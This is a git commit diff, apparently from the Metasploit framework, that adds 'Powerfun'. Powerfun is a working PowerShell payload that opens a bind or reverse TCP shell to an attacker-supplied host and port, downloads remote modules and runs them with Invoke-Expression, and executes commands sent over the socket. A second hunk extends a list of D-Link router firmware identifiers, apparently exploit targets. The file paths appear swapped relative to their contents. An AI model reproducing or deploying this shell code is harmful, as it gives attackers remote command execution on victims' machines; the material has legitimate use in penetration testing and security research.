Fix merge conflict

Author: wchen-r7

data/exploits/CVE-2014-8440/msf.swf

@@ -0,0 +1,59 @@
+# Powerfun - Written by Ben Turner & Dave Hardy
+
+function Get-Webclient 
+{
+    $wc = New-Object -TypeName Net.WebClient
+    $wc.UseDefaultCredentials = $true
+    $wc.Proxy.Credentials = $wc.Credentials
+    $wc
+}
+function powerfun 
+{ 
+    Param( 
+        [String]$Command,
+        [String]$Download
+    ) 
+    Process {
+    $modules = @(MODULES_REPLACE)  
+    if ($Command -eq "bind")
+    {
+        $listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
+        $listener.start()    
+        $client = $listener.AcceptTcpClient()
+    } 
+    if ($Command -eq "reverse")
+    {
+        $client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
+    }
+    $stream = $client.GetStream()
+    [byte[]]$bytes = 0..255|%{0}
+    if ($Download -eq "true")
+    {
+        ForEach ($module in $modules)
+        {
+            (Get-Webclient).DownloadString($module)|Invoke-Expression
+        } 
+    }
+    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
+    $stream.Write($sendbytes,0,$sendbytes.Length)
+    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
+    $stream.Write($sendbytes,0,$sendbytes.Length)
+    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
+    {
+        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
+        $data = $EncodedText.GetString($bytes,0, $i)
+        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
+
+        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
+        $x = ($error[0] | Out-String)
+        $error.clear()
+        $sendback2 = $sendback2 + $x
+
+        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
+        $stream.Write($sendbyte,0,$sendbyte.Length)
+        $stream.Flush()  
+    }
+    $client.Close()
+    $listener.Stop()
+    }
+}

data/exploits/powershell/powerfun.ps1

@@ -1,7 +1,14 @@
-Alphanetworks wrgg19_c_dlwbr_dir300 
+Alphanetworks wrgg19_c_dlwbr_dir300
 Alphanetworks wrgn49_dlob_dir600b
 Alphanetworks wrgn23_dlwbr_dir600b
 Alphanetworks wrgn22_dlwbr_dir615
 Alphanetworks wrgnd08_dlob_dir815
 Alphanetworks wrgg15_di524
-Alphanetworks wrgn39_dlob.hans_dir645
+Alphanetworks wrgn39_dlob.hans_dir645
+Alphanetworks wapnd03cm_dkbs_dap2555
+Alphanetworks wapnd04cm_dkbs_dap3525
+Alphanetworks wapnd15_dlob_dap1522b
+Alphanetworks wrgac01_dlob.hans_dir865
+Alphanetworks wrgn23_dlwbr_dir300b
+Alphanetworks wrgn28_dlob_dir412
+Alphanetworks wrgn39_dlob.hans_dir645_V1